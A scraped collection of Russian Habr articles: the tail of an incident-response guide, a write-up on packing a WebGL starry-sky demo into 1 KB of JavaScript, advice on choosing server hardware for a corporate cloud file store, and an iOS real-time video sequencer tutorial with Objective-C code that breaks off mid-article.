«C:\Users\XXX\AppData\Local\Google\Chrome\User Data\Default\Extensions\»
«C:\Users\XXX\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\»
*Mozilla Firefox*
«C:\Users\XXX\AppData\Roaming\Mozilla\Firefox\Profiles\[profileID].default\addons.sqlite»
«C:\Users\XXX\AppData\Roaming\Mozilla\Firefox\Profiles\[profileID].default\extensions.sqlite»
Opera
«C:\Users\\AppData\Local\Opera\Opera\widgets\»
Для ОС семейства Linux нужно просто сохранить файлы из директории «/var/logs». Скопировать системные и недавно появившиеся/изменившиеся файлы.
*Этап 3. Восстановление работы системы*
В случае удаления данных:
1. Самостоятельно восстанавливаем удаленные данные с помощью специальных программ.
2. Делаем посекторный образ диска и отдаем на восстановление в специализированную лабораторию. Это пункт для тех, кто потерял информацию высокого уровня критичности.
3. Восстанавливаем резервные копии, если они есть.
В случае шифрования данных:
1. Обращаемся в компанию по разработке антивирусного ПО, которая может предоставить инструменты для противодействия конкретному виду шифровальщика. Если данные возможно восстановить, то скорее всего такая компания может предоставить дешифратор для файлов.
2. При расследовании инцидента есть вероятность, что эксперты смогут помочь с дешифрованием файлов, если процесс реагирования на инцидент был последовательным и никакие данные не уничтожены.
*Этап 4. Проводим расследование инцидента*
Собираем все сохраненные данные и идем к сторонней компании, специализирующейся на расследовании инцидентов.
*Этап 5. Устраняем причины инцидента*
Это может быть:
* обновление ПО до актуальной версии;
* обновление групповых политик на контроллере домена.
|
https://habr.com/ru/post/662622/
| null |
ru
| null |
# Уместить звездное небо на WebGL в 1009 байт JavaScript
> Две вещи наполняют душу всегда новым и все более сильным удивлением и благоговением, чем чаще и продолжительнее мы размышляем о них, — это звездное небо надо мной и моральный закон во мне. *Иммануил Кант*
JS1k — ежегодное соревнование, где надо вместить демо, игру или все что угодно, в 1024 символа на JavaScript. В этом году мое демо заняло четвертое место (до третьего не хватило каких-то два балла). Посмотреть демо можно на [сайте JS1k](https://js1k.com/2019-x/demo/4238). У кого не открывается или не работает, выглядеть должно так:
Минифицированный и полный исходный код [лежит на github](https://github.com/denys-potapov/js1k). А под катом разбор того, как сейчас минифицируют JavaScript для таких конкурсов.
Дискалаймер
-----------
Основная красота демо — [фрагментный шейдер](https://www.shadertoy.com/view/XlfGRj) авторства Pablo Roman Andrioli. Pablo — художник, который работает с фракталами, и на форуме [fractalforums](http://www.fractalforums.com/new-theories-and-research/very-simple-formula-for-fractal-patterns/) рассказывает некоторые подробности вычислений. Моей же задачей было упаковать шейдер и WebGL код в 1024 байта.
Инициализация WebGL
-------------------
Обертка JS1k при старте демо предоставляет WebGL контекст в глобальной переменной **g**. Несмотря на это, работа с WebGL очень многословна. Например, чтобы добавить вершинный шейдер к программе необходимо 159 символов:
```
// Define a new program
p=g.createProgram();
// Basic vertex shader
s=g.createShader(VERTEX_SHADER);
g.shaderSource(s,"attribute vec2 p;void main(){gl_Position=vec4(p,0,1);}");
// Compile and attach it to the program
g.compileShader(s);
g.attachShader(p,s);
```
Для решения этой проблемы во всех решениях JS1k последних нескольких лет применяется трюк с синонимами функций:
```
for(i in g){
g[i[0] + i[6]] = g[i];
}
```
Цикл добавляет для каждой функции (и для любого члена) WebGL контекста синоним, который состоит из первой и 7 буквы. Например **c**reate**P**rogram становиться **cP**, **s**hader**S**ource — **sS**, и т.д. Дополнительно обрамляя весь код конструкцией `with(g)` (которую использовать в настоящих проектах [нельзя](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with)), получаем:
```
with(g){
p=cP();
sS(s=cS(35633),'attribute vec2 p;void main(){gl_Position=vec4(p,1,1);}');
ce(s);
aS(p,s);
}
```
Минификация шейдера
-------------------
Оригинальный шейдер занимает 1100 символов. Основные сокращения: удаление лишних переменных, и объединение похожих фрагментов. После всего я пропустил код через [онлайн минификатор](http://ctrl-alt-test.fr/minifier/index). В результате от шейдера осталось чуть больше 500 байт.
JSCrush
-------
JSCrush — де факто стандарт для сжатия кода в таких соревнования. Утилита превращает код, в приблизительно такую последовательность:
**\_='(i a.style=...**
```
_='(i a.style="widMj%;hEjvh;:left",g)g[i[0]+i[6]]=g[i];wiMO.u=g.G1f,x=y=k= g)p=cP(35633"tribute 2 p gl_Posit=4?FN"precis mediump ;G Zt,a,x,y Uf`ord.rg/64!-. f.=a;Zc=+xz,v=+yz;m2 m$c c- cc)s$v v- vv) fJf#Ur`Q,, r+`t*2.,t,-2. rJr#Zg=.1,b=Q;Ui`! Kl=Rl<2Rl++){Uo=r+f*;oQ)-mod(o,2.)) Ze,n=e=!;Kd=Rd<2Rd++)oo)/dot(o,o)-3,n+o)-ee=o if(l>6) Q-max(!,.3- i+=b+g,g,g)*n*5*b; .73;g+=.1;}i=mix(i)i,.85 lor=4(i*.01.lo?ug?bfO=34962,cB()eV(0vA( 2,512 0bDO,Tw Int8Array([|,|]35044o= ,(Lt@ -oa@TrHE/TrWidMx@xy@ydr(6, 3requestAnimFrame(L)})( down=upk^=1},movek&&(x X,y Y)};),3=funct(e){uOf?,"flo }@ce(saS?,slengM(onmouse ;void ma(){ Tw De/1e5 );incos(for=abs(gl_FragCo,1g*(sS(s=cS(n*n*.001at.5vecion b*= s( =e.page 0,!0.#.r=s;$=m2(?(p@"EeightGunimJ.r m;K(t MthO(gQ1.R0;TneU Z `=j:100z/50!|-3';for(Y in $='|zj`ZUTRQOMKJGE@?$#! ')with(_.split($[Y]))_=join(pop());eval(_)
```
Принцип работы JSCrush можно визуально посмотреть в [инструменте для обратного превращения кода](https://keithclark.co.uk/labs/jspackvis/). Или почитать подробно в [статье](http://nikhilism.com/post/2012/demystifying-jscrush/). В целом, это кодирование со словарем:
1. Находим символ, который не используется в коде
2. Находим повторяющиеся фрагменты в коде, которые заменяем на символ из первого пункта
3. Заменяем строку на символ
4. Повторяем 1-3, пока результат меньше чем исходный код
Оптимизация
-----------
После всех операций у меня в запасе оставалось еще порядка 30 символов, которые можно было использовать для оптимизации производительности. При загрузки демки, можно указать размер canvas’а: на весь экран или фиксированного размера. Запускать на весь экран — красиво, но фрагментный шейдер вызывается для каждого пикселя и работает медленно. Выходом стало — запросить у JS1k canvas’а фиксированного размера (я выбрал 640х640), а потом в коде его увеличить до полноэкранного:
```
a.style='width:100%;height:100vh;float:left';
```
Тогда изображение занимает весь экран, но шейдер выполняется только на каждый пиксель оригинального размера canvas.
|
https://habr.com/ru/post/462115/
| null |
ru
| null |
# Выбор оборудования для корпоративного облачного хранилища
Данные — основа любого бизнеса. Если место их хранения недостаточно надежно или неспособно обеспечить постоянный доступ, то под угрозой будет практически вся деятельность предприятия.
Конечно, можно и нужно обеспечивать сохранность и доступность информации правильным выбором серверного ПО и грамотной конфигурацией. Но не менее важно и железо — оборудование, которое хранит и обрабатывает данные. Если оно не соответствует потребностям компании, то никакой софт не сделает его достаточно надежным и отказоустойчивым.
В этой статье мы рассмотрим один из подходов к выбору железа для создания корпоративного облачного хранилища.
### Почему облако?
Облачная инфраструктура имеет ряд преимуществ:
* **Возможность быстрого масштабирования**. Увеличение ёмкости и вычислительной мощности хранилища достигается с помощью быстрого подключения дополнительных серверов и СХД. Особенно это актуально для компаний, у которых нагрузка на облако предполагается нерегулярной.
* **Снижение расходов**. Облако позволяет создать единый центр, в котором будут выполняться все вычислительные процессы, в то время как для увеличения дискового пространства будет достаточно простого приобретения накопителей, без необходимости организации установки новых серверов.
* **Упрощение бизнес-процессов**. Облачное хранилище, в отличие от локального, подразумевает возможность постоянного доступа к нему. Это значит, что с файлами можно работать в любое время суток из любого места. Сотрудники смогут получать необходимую для работы информацию проще и быстрее, станет возможным организовать удаленные рабочие места.
* **Повышенная отказоустойчивость**. Вполне очевидно, что, если данные хранятся на нескольких серверах, то их сохранность в случае технических проблем будет выше, чем если бы они находились только на одной машине.
### Почему своё?
Сейчас на рынке есть множество публичных облачных сервисов. Для многих малых и средних компаний они действительно становятся хорошим выбором, особенно если речь идет об услугах с оплатой только за использованные ресурсы либо проведении тестирования сервиса. Однако свое облачное хранилище также дает ряд преимуществ. Оно придется очень кстати, если:
* **Деятельность компании налагает ограничения на местоположение серверов**. Российские гос. учреждения, а также организации, занимающиеся обработкой персональных данных, по закону обязаны хранить всю свою информацию на территории РФ. Соответственно, арендовать заграничные серверы для них не представляется возможным, да и в целом очень нежелательно доверять деликатную информацию подрядчикам. Создание частного хранилища поможет использовать все преимущества облака без нарушения правовых норм.
* **Необходимо полное управление политиками безопасности**. Как устроена защита данных в сервисах Microsoft или Amazon, точно узнать невозможно. Полностью обезопасить информацию так, как вы считаете это необходимым, можно только в собственном облаке.
* **Настройка оборудования под себя**. При аренде приходится работать с тем, что дает поставщик. Однако имея в распоряжении собственные серверы, можно сконфигурировать их на под решение конкретных задач именно для вашего бизнеса, а также использовать то ПО, которым в совершенстве владеет ваша IT-команда.
### Выбор оборудования
При приобретении оборудования под облачное хранилище часто возникает вопрос: арендовать машины или покупать свои. Выше мы уже разбирались, в каких случаях [собственный сервер](http://servermall.ru/) незаменим. Однако организовать облако можно и на сторонних сервисах. Особенно это актуально для небольших компаний, потому что не всегда есть возможность выделить из бюджета необходимую сумму на покупку серверов, не всегда есть возможность создать собственную серверную, да и не нужно тратиться на обслуживание машин.
Но если вы всё же решили брать собственные серверы под облачное хранилище, то стоит иметь ввиду, что изменить оборудование будет проблематично и затратно. Не страшно, если мощности окажется недостаточно: всегда можно добавить еще одну машину в кластер. А вот если производительность окажется избыточной, то с этим ничего уже сделать не получится. Поэтому перед выбором стоит сделать следующее.
**Четко определить цель, для которой будет использоваться сервер**. В нашем случае — это файловое хранилище. Соответственно, наибольший интерес представляют накопители. На что следует обратить внимание при их выборе:
**Ёмкость**. Зависит от того, сколько сотрудников будет пользоваться хранилищем, какие типы файлов они будут закачивать на сервер, сколько информации уже сейчас ждет переноса в облако и на сколько увеличивается объем рабочих данных ежегодно.
В среднем для работы с текстовыми файлами, презентациями, PDF и небольшим количеством изображений нужно в среднем 10-15 Гб на сотрудника. Для работы с большими объемами высококачественных картинок и фотографий нужно увеличить минимум до 50-100 Гб, а то и больше. Потребности персонала, занимающегося обработкой видео и аудио, могут достигать нескольких терабайт на человека. В ряде случаев, например, при использовании крупных корпоративных программных пакетов с поддержкой версионности проектов, речь может идти и о 10 терабайтах на одного пользователя облака. Не забудьте учесть емкость под резервные копии файлов и непредвиденные нужды компании.
Что касается **RAID-контроллеров**, то для корпоративного облака лучше не использовать набортные решения. Их производительности может оказаться недостаточно для обслуживания большого количества запросов с удовлетворительной скоростью. Так что лучше выбрать дискретные модели из нижнего и среднего ценовых диапазонов.
Также необходимо определиться с **вычислительной мощностью**. Если вы создаёте облачное хранилище на базе нескольких серверов, то рекомендуется подбирать идентичные или очень близкие конфигурации. Это несколько упростит управление распределением нагрузки. И вообще лучше не делать ставку на одну мощную машину, комплектуя её дорогим процессором и оперативной памятью, а купить подешевле 2-3 машины. Почему?
Если ваше хранилище будет только принимать и отдавать статичные файлы, без возможности их запуска, то мощность процессора не слишком важна. Поэтому лучше не гнаться за количеством ядер и выбрать модель с хорошим «тактом». Из недорогих вариантов неплохо подойдут процессоры Intel Xeon серии E56XX с 4 ядрами, из более дорогих моделей можно порекомендовать машины на Intel Core i5.
### Примеры моделей серверов
Если вы предпочитаете не собирать сервер самостоятельно, а сразу приобретать готовое к работе оборудование, то обратите внимание на несколько [подходящих моделей](http://servermall.ru/) для создания файлового хранилища.
**Dell PowerEdge T110**. Сервер оснащен процессором Intel Core i3 2120 с всего двумя ядрами, но зато каждое из них обладает неплохой тактовой частотой в 3,3 ГГц, что для нашего облака важнее. Начальная конфигурация оперативной памяти не очень велика — 4 Гб, однако может быть расширена до 32 Гб. Сервер поставляется в двух комплектациях — без предустановленного жесткого диска или с HDD-накопителем емкостью в 1 Тб и интерфейсом SATA.
**Lenovo ThinkServer RS140**. Имеет мощный процессор Intel Xeon E3 с четырьмя ядрами по 3,3 Ггц каждое. Оперативная память «из коробки» — 4 Гб, плюс еще четыре слота для ее расширения. Также в комплект входят два жестких диска по 1 Тб с SATA-интерфейсом.
**HP ProLiant ML10 Gen9**. Во многом схож с описанной выше моделью — всё тот же Intel Xeon E3 и два терабайтовых HDD. Основное отличие в оперативной памяти — сервер HP имеет две пластины по 4 Гб каждая.
### Достаточно ли места для хранения файлов?
Объем хранилища — краеугольный камень файлового сервера. Произведя оценку объема хранимых данных и динамики роста, можно через полгода прийти к неприятному выводу, что с прогнозом вы ошиблись, и данные растут быстрее, чем планировалось.
В случае виртуализации хранилища вы практически всегда (при разумном подходе к планированию СХД) сможете расширить дисковую подсистему виртуальной машины или увеличить LUN. В случае физического файлового сервера и локальных дисков, ваши возможности будут значительно скромнее. Даже не смотря на наличие свободных слотов в сервере для дополнительных дисков, можно столкнуться с проблемой подбора накопителей, подходящих для вашего RAID-массива.
Но прежде чем решать проблему экстенсивным путем, следует вспомнить и о технических средствах, помогающих бороться с нехваткой места.
#### Дисковые квоты NTFS
Один из самых старых и надежных механизмов ограничения пользователей — квоты файловой системы.
Включив квоты для тома, вы можете ограничивать объем файлов, сохраняемых каждым пользователем. В квоту пользователя попадают файлы, для которых на уровне NTFS он является владельцем. Главным недостатком механизма является то, что, во-первых, не так просто определить, какие файлы принадлежат конкретному пользователю, а во-вторых, файлы, созданные администраторами, не будут включены в квоту. Механизм квот редко используется на практике, его практически полностью заместил File Server Resource Manager, впервые появившийся в Windows Server 2003 R2.
#### File Server Resource Manager
Этот компонент Windows Server позволит квотировать дисковое пространство на уровне конкретной папки. Если вы выделяете для сотрудников персональные домашние каталоги на файловых серверах, а также выделенные папки для общих документов отделов, то FSRM — наилучший выбор.
Конечно, квотирование само по себе не увеличит объем файлового хранилища. Но пользователи, как правило, лояльно относятся к справедливому (равному) делению ресурсов, а в случае нехватки готовы преодолеть небольшие бюрократические процедуры для расширения дискового пространства.
Квоты помогут и от перегрузки сервера в случае случайного размещения пользователем большого объема информации. По крайнее мере, это не скажется на других сотрудниках или отделах.
Кроме того, FSRM включает в себя механизм «скрининга» (фильтрации) файлов, которые можно сохранять на сервере. Если вы уверены в том, что mp3- и avi- файлам не место на файловом сервере, то можно запретить их сохранения средствами FSRM.
#### Компрессия NTFS
Обычные файлы хорошо поддаются сжатию средствами NTFS, а с учетом производительности современных процессоров, у сервера достаточно ресурсов на эту операцию. Если места не хватает — можно смело включать её для тома или отдельных папок. К примеру, в Windows Server 2012 появился более совершенный механизм, при использовании которого NTFS-сжатие на файловых серверах для большинства сценариев остается в прошлом.
#### Дедупликация
Windows Server 2012 включает в себя возможность дедупликации данных, расположенных в томе NTFS. Это достаточно продвинутый и гибкий механизм, сочетающий в себе как дедупликацию с переменной длинной блока, так и эффективную компрессию сохраняемых блоков. При этом для разных типов данных механизм может использовать разные алгоритмы сжатия, а если сжатие не эффективно — не использовать её. Такие тонкости недоступны традиционному сжатию средствами NTFS.
Кроме того, дедупликация не оптимизирует файлы, с которыми пользователи работали последние 30 дней (этот интервал можно настроить) для того, чтобы не снижать скорость работы с динамично изменяемыми данными.
Оценить потенциальную прибавку свободного места можно утилитой ddpeval. На типичном файловом сервере экономия составляет 30-50%.
#### Производительность файлового сервера
Как мы отмечали ранее — файловый сервер не самый требовательный к ресурсам сервис, но всё же следует разумно подойти к конфигурации дисковой и сетевой подсистем.
**Дисковая подсистема**
Линейная скорость чтения или записи не играют для файлового сервера решающего значения. Любой современный жесткий диск имеет высокие характеристики линейной скорости чтения/записи, но они важны лишь в тех случаях, когда пользователь копирует к себе на локальный диск большой файл, или, наоборот, размещает его на сервере.
Если посмотреть на статистику Perfmon, средняя скорость чтения/записи для 150-200 пользователей достаточно низка и составляет всего лишь несколько мегабайт в секунду. Более интересны пиковые значения. Но следует иметь в виду, что и эти пики ограничены скоростью сетевого интерфейса, а для обычного сервера это 1 Гбит/с (т.е. 100 Мб обмена с дисковой подсистемой).
В обычной работе доступ к файлам идет нелинейно, с диска считываются и записываются произвольные блоки, поэтому более критичным является производительность диска в операциях случайного доступа, то есть максимальный IOPS.
Для 150-200 сотрудников показатели достаточно скромны — 10-20 операций ввода вывода в секунду с дисковой очередью в пределах 1-2.
Этим требованиям удовлетворит любой массив из стандартных SATA дисков.
Для 500-1000 активных пользователей количетсво операции подскакивает до 250-300, а дисковая очередь достигает 5-10. Когда очередь достигает этой величины, пользователи могу заметить, что файловый сервер «подтормаживает».
На практике для достижения производительности в 300 IOPS вам уже потребуется массив как минимум из 3-4 дисков типичных SATA-дисков.
При этом следует учесть не только «сырую производительность», но и задержку, вносимую работой RAID-контроллера — так называемую RAID penalty. Эта тема доступно разъяснена в статье <https://habrahabr.ru/post/164325/>.
Для определения необходимого количества дисков используем формулу:
```
Total number of Disks required = ((Total Read IOPS + (Total Write IOPS*RAID Penalty))/Disk Speed IOPS)
```
RAID-5 с penalty на запись в 4 операции, профилем чтение 50%, запись 50%, скоростью диска в 75 IOPS, целевая производительность в 300 IOPS:
```
(300*0,5 + (300*0,5*4))/75 = 10 дисков.
```
Если у вас много активных пользователей, то вам потребуется ёмкий сервер или более производительные диски, такие как SAS со скоростью вращения 10 000 RPM.
**Скорость сетевого интерфейса**
Низкая скорость сетевого интерфейса — одна из причин задержек при работе с файловым сервером. В 2016 году сервер с 100 Мбит/с сетевой картой — нонсенс.
Типичный сервер оборудован сетевой картой со скоростью 1 Гбит/с, но и это ограничивает дисковый обмен скоростью около 100 Мб/с. Если в сервере несколько сетевых карт, то вы можете объединить их (агрегировать) в один логический интерфейс для увеличения как производительности, так и доступности облака. Хорошая новость в том, что для файлового сервера («много клиентов обращаются к одному серверу») агрегация работает хорошо.
Владельцы серверов HP могут использовать фирменную утилиту HP Network Configuration Utility
Если вы используете Windows Server 2012, то более простым и надежным способом будет использование штатного средства NIC Teaming.
Подробнее об этой настройке и нюансах использования ее в среде Hyper-V вы можете узнать из [этой статьи](https://habrahabr.ru/company/microsoft/blog/162509/).
|
https://habr.com/ru/post/309390/
| null |
ru
| null |
# Опыт создания реалтайм видео-секвенсора на iOS
Привет, меня зовут Антон и я iOS-разработчик в Rosberry. Не так давно мне довелось работать над проектом Hype Type и решить несколько интересных задач по работе с видео, текстом и анимациями. В этой статье я расскажу о подводных камнях и возможных путях их обхода при написании реалтайм видео-секвенсора на iOS.
Немного о самом приложении…
---------------------------
Hype Type позволяет пользователю записать несколько коротких отрывков видео и/или фотографий общей длительностью до 15 секунд, добавить к полученному ролику текст и применить к нему одну из анимаций на выбор.
Основная особенность работы с видео в данном случае состоит в том, что у юзера должна быть возможность управлять отрывками видео независимо друг от друга: изменять скорость воспроизведения, делать реверс, флип и (возможно в будущих версиях) на лету менять отрывки местами.
Готовые решения?
----------------
“Почему бы не использовать **AVMutableComposition**?” — можете спросить вы, и, в большинстве
случаев, будете правы — это действительно достаточно удобный системный видео-секвенсор, но, увы, у него есть ограничения, которые не позволили нам его использовать. В первую очередь, это невозможность изменения и добавления треков на лету — чтобы получить измененный видеопоток потребуется пересоздавать **AVPlayerItem** и переинициализировать **AVPlayer**. Также в **AVMutableComposition** далеко не идеальна работа с изображениями — для того, чтобы добавить в таймлайн статичное изображение, придется использовать **AVVideoCompositionCoreAnimationTool**, который добавит изрядное количество оверхеда и значительно замедлит рендер.
Недолгий поиск по просторам интернета не выявил никаких других более-менее подходящих под задачу решений, поэтому было решено написать свой секвенсор.
Итак…
-----
Для начала — немного о структуре render pipeline в проекте. Сразу скажу, я не буду слишком вдаваться в детали и буду считать что вы уже более-менее знакомы с этой темой, иначе этот материал разрастется до невероятных масштабов. Если же вы новичок — советую обратить внимание на достаточно известный фреймворк **GPUImage** ([Obj-C](https://github.com/BradLarson/GPUImage), [Swift](https://github.com/BradLarson/GPUImage2)) — это отличная стартовая точка для того, чтобы на наглядном примере разобраться в **OpenGLES**.
View, которая занимается отрисовкой полученного видео на экране по таймеру (**CADisplayLink**), запрашивает кадры у секвенсора. Так как приложение работает преимущественно с видео, то логичнее всего использовать **YCbCr colorspace** и передавать каждый кадр как **CVPixelBufferRef**. После получения кадра создаются luminance и chrominance текстуры, которые передаются в shader program. На выходе получается RGB изображения, которое и видит пользователь. **Refresh loop** в данном случае будет выглядеть примерно так:
```
- (void)onDisplayRefresh:(CADisplayLink *)sender {
// advance position of sequencer
[self.source advanceBy:sender.duration];
// check for new pixel buffer
if ([self.source hasNewPixelBuffer]) {
// get one
PixelBuffer *pixelBuffer = [self.source nextPixelBuffer];
// dispatch to gl processing queue
[self.context performAsync:^{
// prepare textures
self.luminanceTexture = [self.context.textureCache textureWithPixelBuffer:pixelBuffer planeIndex:0 glFormat:GL_LUMINANCE];
self.chrominanceTexture = [self.context.textureCache textureWithPixelBuffer:pixelBuffer planeIndex:1 glFormat:GL_LUMINANCE_ALPHA];
// prepare shader program, uniforms, etc
self.program.orientation = pixelBuffer.orientation;
// ...
// signal to draw
[self setNeedsRedraw];
}];
}
if ([self.source isFinished]) {
// rewind if needed
[self.source rewind];
}
}
// ...
- (void)draw {
[self.context performSync:^{
// bind textures
[self.luminanceTexture bind];
[self.chrominanceTexture bind];
// use shader program
[self.program use];
// unbind textures
[self.luminanceTexture unbind];
[self.chrominanceTexture unbind];
}];
}
```
Практически все здесь построено на обертках (для **CVPixelBufferRef**, **CVOpenGLESTexture** и т.д.), что позволяет вынести основную low-level логику в отдельный слой и значительно упростить базовые моменты работы с **OpenGL**. Конечно, у этого есть свои минусы (в основном — небольшая потеря производительности и меньшая гибкость), однако они не столь критичны. Что стоит пояcнить: **self.context** — достаточно простая обертка над **EAGLContext**, облегчающая работу с [**CVOpenGLESTextureCache**](https://developer.apple.com/reference/corevideo/cvopenglestexturecache-q2r) и многопоточными обращениями к **OpenGL**. **self.source** — секвенсор, который решает, какой кадр из какого трека отдать во view.
Теперь о том, как организовано получение кадров для рендеринга. Так как секвенсор должен работать как с видео, так и картинками, логичнее всего закрыть все общим протоколом. Таким образом, задача секвенсора сведется к тому, чтобы следить за playhead и, в зависимости от ее позиции, отдавать новый кадр из соответствующего трека.
```
@protocol MovieSourceProtocol
// start & stop reading methods
- (void)startReading;
- (void)cancelReading;
// methods for getting frame rate & current offset
- (float)frameRate;
- (float)offset;
// method to check if we already read everything...
- (BOOL)isFinished;
// ...and to rewind source if we did
- (void)rewind;
// method for scrubbing
- (void)seekToOffset:(CGFloat)offset;
// method for reading frames
- (PixelBuffer \*)nextPixelBuffer;
@end
```
Логика того, как получать кадры, ложится на объекты, реализующие **MovieSourceProtocol**. Такая схема позволяет сделать систему универсальной и расширяемой, так как единственным отличием в обработке изображений и видео будет только способ получения кадров.
Таким образом, **VideoSequencer** становится совсем простым, и главной сложностью остается определение текущего трека и приведение всех треков к единому frame rate.
```
- (PixelBuffer *)nextPixelBuffer {
// get current track
VideoSequencerTrack *track = [self trackForPosition:self.position];
// get track source
id source = track.source; // Here's our source
// get pixel buffer
return [source nextPixelBuffer];
}
```
VideoSequencerTrack здесь — обертка над объектом, реализующим MovieSourceProtocol, содержащая различную метадату.
```
@interface FCCGLVideoSequencerTrack : NSObject
- (id) initWithSource:(id)source;
@property (nonatomic, assign) BOOL editable;
// ... and other metadata
@end
```
Работаем со статикой
--------------------
Теперь перейдем непосредственно к получению кадров. Рассмотрим простейший случай — отображение одной картинки. Получить ее возможно либо с камеры, и тогда мы сразу можем получить **CVPixelBufferRef** в формате **YCbCr**, который достаточно просто скопировать (почему это важно, я объясню чуть позже) и отдавать по запросу; либо из медиа-библиотеки — в этом случае придется немного извернуться и вручную конвертировать изображение в нужный формат. Операцию конвертирования из **RGB** в **YCbCr** можно было вынести на GPU, однако на современных девайсах и CPU справляется с этой задачей достаточно быстро, особенно учитывая тот факт, что приложение дополнительно кропает и сжимает изображение перед тем, как его использовать. В остальном же все достаточно просто, все что нужно делать — отдавать один и тот же кадр в течение отведенного промежутка времени.
```
@implementation ImageSource
// init with pixel buffer from camera
- (id)initWithPixelBuffer:(PixelBuffer *)pixelBuffer orientation:(AVCaptureVideoOrientation)orientation duration:(NSTimeInterval)duration {
if (self = [super init]) {
self.orientation = orientation;
self.pixelBuffer = [pixelBuffer copy];
self.duration = duration;
}
return self;
}
// init with UIImage
- (id)initWithImage:(UIImage *)image duration:(NSTimeInterval)duration {
if (self = [super init]) {
self.duration = duration;
self.orientation = AVCaptureVideoOrientationPortrait;
// prepare empty pixel buffer
self.pixelBuffer = [[PixelBuffer alloc] initWithSize:image.size pixelFormat:kCVPixelFormatType_420YpCbCr8BiPlanarFullRange];
// get base addresses of image planes
uint8_t *yBaseAddress = self.pixelBuffer.yPlane.baseAddress;
size_t yPitch = self.pixelBuffer.yPlane.bytesPerRow;
uint8_t *uvBaseAddress = self.pixelBuffer.uvPlane.baseAddress;
size_t uvPitch = self.pixelBuffer.uvPlane.bytesPerRow;
// get image data
CFDataRef pixelData = CGDataProviderCopyData(CGImageGetDataProvider(image.CGImage));
uint8_t *data = (uint8_t *)CFDataGetBytePtr(pixelData);
uint32_t imageWidth = image.size.width;
uint32_t imageHeight = image.size.height;
// do the magic (convert from RGB to YCbCr)
for (int y = 0; y < imageHeight; ++y) {
uint8_t *rgbBufferLine = &data[y * imageWidth * 4];
uint8_t *yBufferLine = &yBaseAddress[y * yPitch];
uint8_t *cbCrBufferLine = &uvBaseAddress[(y >> 1) * uvPitch];
for (int x = 0; x < imageWidth; ++x) {
uint8_t *rgbOutput = &rgbBufferLine[x * 4];
int16_t red = rgbOutput[0];
int16_t green = rgbOutput[1];
int16_t blue = rgbOutput[2];
int16_t y = 0.299 * red + 0.587 * green + 0.114 * blue;
int16_t u = -0.147 * red - 0.289 * green + 0.436 * blue;
int16_t v = 0.615 * red - 0.515 * green - 0.1 * blue;
yBufferLine[x] = CLAMP(y, 0, 255);
cbCrBufferLine[x & ~1] = CLAMP(u + 128, 0, 255);
cbCrBufferLine[x | 1] = CLAMP(v + 128, 0, 255);
}
}
CFRelease(pixelData);
}
return self;
}
// ...
- (BOOL)isFinished {
return (self.offset > self.duration);
}
- (void)rewind {
self.offset = 0.0;
}
- (PixelBuffer *)nextPixelBuffer {
if ([self isFinished]) {
return nil;
}
return self.pixelBuffer;
}
// ...
```
Работаем с видео
----------------
А теперь добавим видео. Для этого было решено использовать **AVPlayer** — в основном из-за того, что он имеет достаточно удобное API для получения кадров и полностью берет на себя работу со звуком. В общем, звучит достаточно просто, но есть и некоторые моменты, на которые стоит обратить внимание.
Начнем с очевидного:
```
- (void)setURL:(NSURL *)url withCompletion:(void(^)(BOOL success))completion {
self.setupCompletion = completion;
// prepare asset
self.asset = [[AVURLAsset alloc] initWithURL:url options:@{
AVURLAssetPreferPreciseDurationAndTimingKey : @(YES),
}];
// load asset tracks
__weak VideoSource *weakSelf = self;
[self.asset loadValuesAsynchronouslyForKeys:@[@"tracks"] completionHandler:^{
// prepare player item
weakSelf.playerItem = [AVPlayerItem playerItemWithAsset:weakSelf.asset];
[weakSelf.playerItem addObserver:weakSelf forKeyPath:@"status" options:NSKeyValueObservingOptionNew context:nil];
}];
}
- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary *)change context:(void *)context {
if(self.playerItem.status == AVPlayerItemStatusReadyToPlay) {
// ready to play, prepare output
NSDictionary *outputSettings = @{
(id)kCVPixelBufferPixelFormatTypeKey: @(kCVPixelFormatType_420YpCbCr8BiPlanarFullRange),
(id)kCVPixelBufferOpenGLESCompatibilityKey: @(YES),
(id)kCVPixelBufferOpenGLCompatibilityKey: @(YES),
(id)kCVPixelBufferIOSurfacePropertiesKey: @{
@"IOSurfaceOpenGLESFBOCompatibility": @(YES),
@"IOSurfaceOpenGLESTextureCompatibility": @(YES),
},
};
self.videoOutput = [[AVPlayerItemVideoOutput alloc] initWithPixelBufferAttributes:outputSettings];
[self.playerItem addOutput:self.videoOutput];
if (self.setupCompletion) {
self.setupCompletion();
}
};
}
// ...
- (void) rewind {
[self seekToOffset:0.0];
}
- (void)seekToOffset:(CGFloat)offset {
[self.playerItem seekToTime:[self timeForOffset:offset] toleranceBefore:kCMTimeZero toleranceAfter:kCMTimeZero];
}
- (PixelBuffer *)nextPixelBuffer {
// check for new pixel buffer...
CMTime time = self.playerItem.currentTime;
if(![self.videoOutput hasNewPixelBufferForItemTime:time]) {
return nil;
}
// ... and grab it if there is one
CVPixelBufferRef bufferRef = [self.videoOutput copyPixelBufferForItemTime:time itemTimeForDisplay:nil];
if (!bufferRef) {
return nil;
}
PixelBuffer *pixelBuffer = [[FCCGLPixelBuffer alloc] initWithPixelBuffer:bufferRef];
CVBufferRelease(bufferRef);
return pixelBuffer;
}
```
Создаем **AVURLAsset**, подгружаем информацию о треках, создаем **AVPlayerItem**, дожидаемся нотификации о том, что он готов к воспроизведению и создаем **AVPlayerItemVideoOutput** с подходящими для рендера параметрами — все по-прежнему достаточно просто.
Однако тут же кроется и первая проблема — **seekToTime** работает недостаточно быстро, и при loop’е есть заметные задержки. Если же не изменять параметры **toleranceBefore** и **toleranceAfter**, то это мало что меняет, за исключением того, что, кроме задержки, добавляется еще и неточность позиционирования. Это ограничение системы и полностью его не решить, но можно обойти, для чего достаточно готовить 2 **AVPlayerItem**’a и использовать их по очереди — как только один из них заканчивает воспроизведение, тут же начинает играть другой, в то время как первый перематывается на начало. И так по кругу.
Еще одна неприятная, но решаемая проблема — **AVFoundation** как следует (seamless & smooth) поддерживает изменение скорости воспроизведения и reverse далеко не для всех типов файлов, и, если в случае с записи с камеры выходной формат мы контролируем, то в случае, если пользователь загружает видео из медиа-библиотеки, такой роскоши у нас нет. Заставлять пользователей ждать, пока видео сконвертируется — выход плохой, тем более далеко не факт, что они будут использовать эти настройки, поэтому было решено делать это в бэкграунде и незаметно подменять оригинальное видео на сконвертированное.
```
